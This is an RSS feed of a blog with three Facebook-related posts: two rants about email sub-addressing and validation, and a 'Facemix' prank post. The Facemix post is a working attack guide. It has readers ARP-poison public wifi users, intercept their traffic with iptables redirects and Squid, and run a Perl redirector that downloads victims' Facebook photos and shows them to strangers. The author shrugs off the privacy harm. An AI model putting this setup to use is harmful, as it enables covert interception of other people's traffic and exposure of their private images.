<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smörgåsbord &#187; facebook</title>
	<atom:link href="http://smorgasbord.gavagai.nl/tags/facebook/feed/" rel="self" type="application/rss+xml" />
	<link>http://smorgasbord.gavagai.nl</link>
	<description>Ambachtelijk bereide beschouwingen.</description>
	<lastBuildDate>Fri, 06 Jan 2012 21:30:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Facebook and email sub-addressing: But of course&#8230;</title>
		<link>http://smorgasbord.gavagai.nl/2011/08/facebook-and-email-sub-addressing-but-of-course/</link>
		<comments>http://smorgasbord.gavagai.nl/2011/08/facebook-and-email-sub-addressing-but-of-course/#comments</comments>
		<pubDate>Wed, 31 Aug 2011 20:05:03 +0000</pubDate>
		<dc:creator>Wicher</dc:creator>
				<category><![CDATA[Rants]]></category>
		<category><![CDATA[WWW]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[RFC5322]]></category>

		<guid isPermaLink="false">http://smorgasbord.gavagai.nl/?p=1414</guid>
		<description><![CDATA[Quite a while ago, I ranted about Facebook, their email &#8220;validation&#8221;, and their rather eccentric take on quality assurance. Things have changed at Facebook — you can now sign up using a sub-addressed email account.
Friend suggestions
But there may have been more to it than improper validation. One of the many ways Facebook comes up with [...]]]></description>
			<content:encoded><![CDATA[<p>Quite a while ago, I ranted about <a href="/2009/04/facebook-devs-have-a-great-sense-of-humour/">Facebook, their email &#8220;validation&#8221;, and their rather eccentric take on quality assurance</a>. Things have changed at Facebook — you can now sign up using a sub-addressed email account.</p>
<h3>Friend suggestions</h3>
<p>But there may have been more to it than improper validation. One of the many ways Facebook comes up with suggestions running along the lines of &#8220;so-and-so is now on facebook, do you know her? let&#8217;s connect!&#8221; is to entice you to give your password to third-party services (they call this &#8220;add friends from your address book&#8221;). So suppose you had <code>mary@jane.com</code> in your Gmail address book at that time, and you let Facebook read this address book, then Facebook stores the <code>mary@jane.com</code> address (possibly indefinately) as one of your &#8220;friend candidates&#8221;.<br />
Some time later, Mary Jane registers a Facebook account, using her mary@jane.com email address &#8211; the one that&#8217;s also on record as one of your friend candidates. Ping! Facebook sends you a message, enticing you to connect<A NAME="tex5html1"  HREF="#tex5foot1"><SUP>1</SUP></A>.<br />
Of course, this all falls down when Mary registers using a sub-addressed address, e.g., <code>mary+facebook@jane.com</code>. She might want to do this to channel the flood of facebook-originating email into a separate folder. <code>mary+facebook@jane.com</code> is probably not on file with you or anyone else, since if you want to send her an email, you&#8217;d send it to <code>mary@jane.com</code> — so that&#8217;s what was in your Gmail address book.</p>
<h3>Sub-addresses: Bad for business, unless&#8230;</h3>
<p>That brings me to the following conspiracy theory: Initially, Facebook disallowed sub-addressed email addresses (under the guise of a &#8220;broken&#8221; validator?) because those interfere with their goal of engaging you with as many people as possible (via friend suggestions), so as to have your eyeballs on their site and in front of their advertisers until they bleed (the eyeballs, not the advertisers).<br />
At a certain moment in the past 28 months, they fixed the improper &#8216;invalid email address&#8217; designation of sub-addressed accounts. Good for facebookers, bad for business — unless they parse the email address and drop the part between the <code>+</code> and the <code>@</code>. Thing is, sub-addressing is not a standard. On my mailserver, I can specify a character other than <code>+</code> to use as an extension designator. It&#8217;s up to the mailserver to do something useful or silly with the sub-addressing. There are no formal semantics. If there is a <code>+</code> in the user-part of an email address, that does not necessarily mean that it is sub-addressed.<br />
My guess is that Facebook made their address matching fuzzy, to account for many possibilities. They&#8217;ll plunder your address book and will still figure out that you and Mary Jane are acquainted, no worries.</p>
<h3>Tinfoil hat</h3>
<p>Well, I <em>do</em> worry.<br />
On the web, your email address is a key to your identity. Your identity is something which many organizations (advertisers, some governments, &#8230;) very much like to link across natural domain boundaries. I don&#8217;t think that many organizations have updated their address matching algorithms with fuzzyness&#8230; yet. So at the moment, it&#8217;s still a good idea to sign up to sites and services using unique, subaddressed email accounts. But to be futureproof, you&#8217;ll need to defeat fuzzy matchers that take the many forms of sub-addressing into account. It&#8217;s probably best to just register a domain and have all email arriving at that domain be delivered to one account. That way, you can easily use <em>any</em> email address at that domain when signing up. If you don&#8217;t want to run your own mail server, the one that Google provides you with <a href="http://www.google.com/apps/">if you take Google Apps on your domain</a> allows just that. But I&#8217;m not so sure that recommendation is solid advice, privacy-wise&#8230;</p>
<p><A NAME="tex5foot1"></A><A HREF="#tex5html1">1)</A>Possibly, and hopefully, they do some cross-checking first.</p>
]]></content:encoded>
			<wfw:commentRss>http://smorgasbord.gavagai.nl/2011/08/facebook-and-email-sub-addressing-but-of-course/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Social social networking with Facemix</title>
		<link>http://smorgasbord.gavagai.nl/2010/04/social-social-networking-with-facemix/</link>
		<comments>http://smorgasbord.gavagai.nl/2010/04/social-social-networking-with-facemix/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 16:50:52 +0000</pubDate>
		<dc:creator>Wicher</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[WWW]]></category>
		<category><![CDATA[aprilfools]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[squid]]></category>
		<category><![CDATA[upsidedownternet]]></category>
		<category><![CDATA[url_rewrite_program]]></category>

		<guid isPermaLink="false">http://smorgasbord.gavagai.nl/?p=1007</guid>
		<description><![CDATA[It&#8217;s not too late for posts about April Fool&#8217;s Day pranks I hope?
In the tradition of the Upsidedownternet this April 1st I had some fun with Facebook addicts.
You may not be aware of the fact that any picture on facebook is publicly accessible. Yes, it is. There&#8217;s no authentication &#038; authorisation whatsoever. Handling those in [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s not too late for posts about April Fool&#8217;s Day pranks I hope?<br />
In the tradition of <a href="http://www.ex-parrot.com/pete/upside-down-ternet.html">the Upsidedownternet</a> this April 1st I had some fun with Facebook addicts.</p>
<p>You may not be aware of the fact that any picture on facebook is publicly accessible. Yes, it is. There&#8217;s no authentication &#038; authorisation whatsoever. Handling those in a scalable way would ramp up costs. Your privacy is not worth those costs. Contrary to the impression you are trying to deliver through your profile, you are not important. Happy shareholders are important!</p>
<p>Due to this fact I just need to know the URLs of your pictures. From the URL I can determine whether it&#8217;s a profile picture, profile picture thumbnail, photo, photo thumbnail, etc.</p>
<p>Wouldn&#8217;t it be fun to mix the pictures of the facebook page you are currently viewing with those from facebook pages others are viewing? So when you&#8217;re browsing your friend&#8217;s albums, you not only see his pictures but pictures from other peoples&#8217; albums too, and vice versa?<br />
The pictures may be requested by the guy across the bar, or by the girl one floor down in the library, or by anyone on the same network as you are — all of you are browsing together with the people in your physical vicinity, sharing whatever pictures you encounter! It&#8217;s beyond Facebook. It&#8217;s crowdbrowsing. It&#8217;s Megafacebook.<br />
While you may not know these newly inserted friends, you might get to. Maybe you bump into one another at the toilets, or at the counter.<br />
<i>&#8220;Why is everyone staring at me like that?&#8221;</i> you naively wonder. (They&#8217;ve seen those pictures).<br />
<i>&#8220;Does she know that I know about those pictures of her and her friends? But wait&#8230; what might she know about me?&#8221;</i>, your paranoid mind ponders.<br />
It&#8217;s all about what you think of others and what others think of you. Total absorption. Now that&#8217;s what I call social networking. All hail Facebook <b><i>Social!</i></b></p>
<p><a href="http://smorgasbord.gavagai.nl/wp-content/uploads/2010/04/FacebookSocial3.png"><img src="http://smorgasbord.gavagai.nl/wp-content/uploads/2010/04/FacebookSocial3.png" alt="Facebook Social" title="Facebook Social" width="90" height="20" class="aligncenter size-full wp-image-1009" /></a></p>
<p>Give the wifi crowd at your local coffeeshop the pleasure of learning a little bit more about eachothers lives and friends.</p>
<h3>Get to work</h3>
<p>You need:</p>
<ul>
<li>one network vulnerable to ARP poison routing (that&#8217;s most of them) or one network which you already control anyway. Make everyone route their traffic through your machine.
</li>
<li>one installment of the Nginx web server, configured with <code>--with-http_random_index_module</code>. I use the 0.8.3x series.
</li>
<li>one installment of the Squid http proxy server. I use the 3.1 series.
</li>
<li>Perl and LWP::Simple.
</li>
</ul>
<h4>Set up Nginx</h4>
<p>Create some directories to hold the images:<br />
<code><br />
mkdir /var/www/facemix/{albums,photos,photosthumb,smoelen,smoelenthumb}<br />
</code><br />
Tell Nginx to respond to requests for those directories by randomly serving one of the files in them:<br />
<code><br />
        location ~ ^/facemix/([^/]+)(/?.*)$ {<br />
                alias /var/www/facemix/$1/$2;<br />
                random_index on;<br />
                expires -1;<br />
                }<br />
</code><br />
You need the &#8216;expires -1&#8242; to avoid caching. If proxies or user agents were to cache the results, they wouldn&#8217;t be very random anymore now would they.</p>
<p>Stick some files in there and test your installation.</p>
<h4>Set up Squid</h4>
<p>Set up squid in interception mode. If you&#8217;re not NATting the routed traffic, set it to run on port 80. If Nginx is already listening on that socket, make Nginx listen on some other port, or localhost only, while running squid on port 80 but only on the external interface.</p>
<h4>Set up networking</h4>
<p>This is for iptables.</p>
<ul>
<li>You&#8217;re NATting the pwned hosts. Run something along the lines of<br />
<code>iptables -t nat -A PREROUTING -i $INTERFACE -p tcp --dport 80 -j REDIRECT --to-port 8080</code><br />
to redirect all traffic incoming on $INTERFACE and destined for port 80 to port 8080, which is where you need squid to listen on.</li>
<li>You&#8217;re doing 2-way ARP poisoning (cheers!). Run something along the lines of<br />
<code>iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j DNAT --to-destination $YOURIP</code><br />
Squid needs to run on port 80 on interface with IP $YOURIP.
</li>
</ul>
<p>Check Squid&#8217;s logs to verify that requests are intercepted successfully.</p>
<h4>Run the redirection script</h4>
<p>I don&#8217;t touch Perl very often, and cobbling together this script made me remember why that is. It&#8217;s very usable as a means of frightening little kids.<br />
In a nutshell, what my redirector script does is</p>
<ol>
<li>determine whether the URL fed to it by Squid is a facebook picture url;
</li>
<li>if so, and if we don&#8217;t have that picture yet, fork off to download it;
</li>
<li>point Squid to a random picture of the same type (served by Nginx).
</li>
</ol>
<p>I like the forking. I dislike the iffed regexes which could probably be condensed into one but then it wouldn&#8217;t be &#8216;cobbling together&#8217; anymore. </p>
<p>Adjust the variables for your setup and tell Squid about the script (eg <code>url_rewrite_program /usr/local/lib/facemix-squidredir.pl</code>).</p>
<p>The Facebook logo will change to reflect the fact that the users are now browsing facebook in <b><i>Social!</i></b> mode.</p>
<p>One further note: This is privacy-invasive. I brush away my moral doubts by stating that anyone who signed away their privacy rights when joining facebook AND AT THE SAME TIME entertains any expectations with respect to privacy,<br />
« inhale »<br />
&#8230; is utterly mental and has completely lost any and all sense of proportionality. If you care about privacy, why use a service which lets you view <b>any</b> picture of <b>any</b> user <i>regardless</i> of who you are? Who are you kidding?</p>
<p>If you&#8217;re still reading, here&#8217;s the script:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl -w</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> LWP<span style="color: #339933;">::</span><span style="color: #006600;">Simple</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$WEBROOT</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'http://localhost/facemix/'</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$WEBDIR</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'/var/www/facemix/'</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$CHANCE</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">5</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#One in X requests gets mixed</span>
<span style="color: #0000ff;">$SIG</span><span style="color: #009900;">&#123;</span>CHLD<span style="color: #009900;">&#125;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'IGNORE'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$|</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">@reqfrags</span> <span style="color: #339933;">=</span> <span style="color: #000066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/ /</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">@reqfrags</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">if</span>    <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/.*.fbcdn.net\/rsrc.php\/z7VU4\/hash\/66ad7upf.png$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;http://smormedia.gavagai.nl/2010/04/FacebookSocial2.png<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span>    <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_n.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/n.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'photos/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_s.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/s.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'photosthumb/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/profile.*.fbcdn.net\/.*\/.*_n.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/profile.*.fbcdn.net\/.*\/n.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'smoelen/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/profile.*.fbcdn.net\/.*\/.*_q.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/profile.*.fbcdn.net\/.*\/q.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'smoelenthumb/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">elsif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_a.jpg$)/</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$url</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/(^http:\/\/photos-.*.fbcdn.net\/.*\/a.*.jpg$)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">&amp;mixurl</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'albums/'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">else</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$url</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">sub</span> mixurl <span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">#args: subdir, url</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">$vork</span> <span style="color: #339933;">=</span> <span style="color: #000066;">fork</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$vork</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #0000ff;">&amp;getit</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">int</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">rand</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$CHANCE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000066;">print</span> <span style="color: #0000ff;">$WEBROOT</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000066;">print</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">sub</span> getit <span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">#args: subdir, url</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">$storedir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$WEBDIR</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">@urlfrags</span> <span style="color: #339933;">=</span> <span style="color: #000066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/\//</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #0000ff;">$fname</span> <span style="color: #339933;">=</span> <span style="color: #000066;">pop</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">@urlfrags</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000066;">stat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$storedir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$fname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      getstore<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$storedir</span><span style="color: #339933;">.</span><span style="color: #ff0000;">'._tmp-'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$fname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000066;">rename</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$storedir</span><span style="color: #339933;">.</span><span style="color: #ff0000;">'._tmp-'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$fname</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$storedir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$fname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://smorgasbord.gavagai.nl/2010/04/social-social-networking-with-facemix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FaceBook devs have a GREAT sense of humour</title>
		<link>http://smorgasbord.gavagai.nl/2009/04/facebook-devs-have-a-great-sense-of-humour/</link>
		<comments>http://smorgasbord.gavagai.nl/2009/04/facebook-devs-have-a-great-sense-of-humour/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 22:56:07 +0000</pubDate>
		<dc:creator>Wicher</dc:creator>
				<category><![CDATA[Rants]]></category>
		<category><![CDATA[WWW]]></category>
		<category><![CDATA[crackpipe]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[RFC5322]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://smorgasbord.gavagai.nl/?p=294</guid>
		<description><![CDATA[
When person A tells person B to lay off the crackpipe, it&#8217;s usually because A doesn&#8217;t understand B&#8217;s humour. Usually, B is not smoking crack. B is, in fact, displaying what he or she thinks is good sense of humour. Well, whoever implemented the registration process for FaceBook and the associated bug reporting functions has [...]]]></description>
			<content:encoded><![CDATA[<p>
When person A tells person B to lay off the crackpipe, it&#8217;s usually because A doesn&#8217;t understand B&#8217;s humour. Usually, B is not smoking crack. B is, in fact, displaying what he or she thinks is good sense of humour. Well, whoever implemented the registration process for FaceBook and the associated bug reporting functions has a REALLY GREAT sense of humour.
</p>
<h3>Prelude</h3>
<p>
Yesterday I decided to register at Facebook. Yes, I know, this is against some of <a href="/manifestje">my principles</a> but I don&#8217;t think I&#8217;ll be making myself popular by being a total nerd each time &#8211; I am not going to ask near-strangers to make a special effort when they want to share <code>$pictures_taken_during_certain_event_with_me_in_it</code> with me. I just want to download the pictures to my own album thankyouverymuch, and I need an account for that.
</p>
<h3>Registering</h3>
<p>Well, the form for registering on the facebook homepage looks simple enough. I usually use my gmail-account when signing up to websites, with my accountname suffixed by <code>+some_tag</code>. This is called <a href="http://en.wikipedia.org/wiki/Email_address#Sub-addressing">&#8220;sub-addressing&#8221;</a> and it&#8217;s mighty convenient. Do you have gmail? Try it! If your email address is <code>myaccount@gmail.com</code>, send a message to <code>myaccount+hey-look-a-sub-address@gmail.com</code>. It will pop up in your inbox. You can then use gmail&#8217;s filters on the TO:, use your imagination. If you run your own mailserver, you have even more flexibility in what you can do with sub-addressing.<br />
So I put in <code>myaccount+facebook@gmail.com</code> and hit <code>Sign Up</code>. Facebook responds thusly:</p>
<div style="width:50%; text-align:center; display:block; color:#000; background:#FFEBE8; border-width:thin; border-color:red; border-style:solid; padding: 5px 5px 5px 5px; margin-left:auto; margin-right:auto;">Please enter a valid email address.</div>
<p>Ah right. But IT IS VALID. It&#8217;s not the first time I encounter an email address validation function that doesn&#8217;t accept valid email addresses. I suppose development of such a validation function goes a bit like this:</p>
<blockquote><p>
DEV#1: &#8220;Chief software architect told us to put in an email validation function.&#8221;<br />
DEV#2: &#8220;Sure! Hmmm, say, what does a valid email address look like anyway?&#8221;<br />
DEV#1: &#8220;What, do you think there&#8217;s a standard on this? Some sort of agreement on what is a valid email address? Ha-ha-ha! Of course not. And I&#8217;m a Web Developer® so I&#8217;m an expert on email addresses. I&#8217;ve seen so many email addresses in my life, I think I&#8217;ve seen them all! I&#8217;ll just exclude everything that doesn&#8217;t look like an email address I&#8217;ve ever seen. Presto!&#8221;
</p></blockquote>
<p>The standard the devs were looking for is <a href="http://tools.ietf.org/html/rfc5322">RFC5322</a>. &#8220;Do you know what an RFC is&#8221; should be the first question on any job interview for a web developer position. Without standards, you&#8217;re nowhere on the internet.</p>
<h3>File bug report</h3>
<p>Being a good geek, I embarked on a quest to point out the existance of RFC5322 to the Facebook folks. On the <a href="http://www.facebook.com/help.php?page=802">Help / Sign Up: Bugs and Known Problems</a> page there&#8217;s a &#8220;I&#8217;d like to submit a bug report&#8221; link that takes you to a <a href="http://www.facebook.com/help/contact.php?show_form=signup_bug">form for submitting signup bugs</a>.<br/><br />
I could not help but try to use my sub-addressed gmail account as a contact address on this bug, but&#8230;
</p>
<p><img src="http://smorgasbord.gavagai.nl/wp-content/uploads/2009/04/facebook-t.png" alt="facebook-t" title="facebook-t" width="520" height="294" class="aligncenter size-full wp-image-305"/></p>
<p>
How stupid of me. They need a T! I assume they ran out of. By now I&#8217;m thinking of chartering a helicopter, flying to Facebook&#8217;s headquarters, and dropping really big concrete letter-T&#8217;s on them. But then again, they might not see this as humourous. Oh well, on with the show: I use a non-subaddressed account and click Submit.<br />
A couple of hours later I find this gem in my inbox:
</p>
<hr/>
<pre>
From: The Facebook Team &lt;info+du7b7dy@facebook.com>
To: (address removed)
Subject: Re: SIGNUP-BUGS: valid email address is not accepted
Date: Tue, 14 Apr 2009 05:14:20 -0700
Reply-to: The Facebook Team &lt;info+du7b7dy@facebook.com&gt;
Sender: &lt;info+du7b7dy@facebook.com&gt;
X-Mailer: ZuckMail [version 1.00]

Hi,

Please reply to this email to verify that you are the owner of the
account that you referenced in your Facebook support inquiry. This
security step must be completed before Facebook can respond to your
inquiry. We apologize for any inconvenience.

If this email address is not associated with your account, please reply
to this email from an email address that is associated with your Facebook
account, ensuring that this email is in your response (this may require
you to copy and paste this text if your email client removes this email
from your reply).
</pre>
<hr/>
<p>
Look at the <code>Reply-to:</code>, the <code>From:</code> and the <code>Sender:</code>. <em>Is that a subaddressed email address or what?</em> This is getting ridiculous!<br />
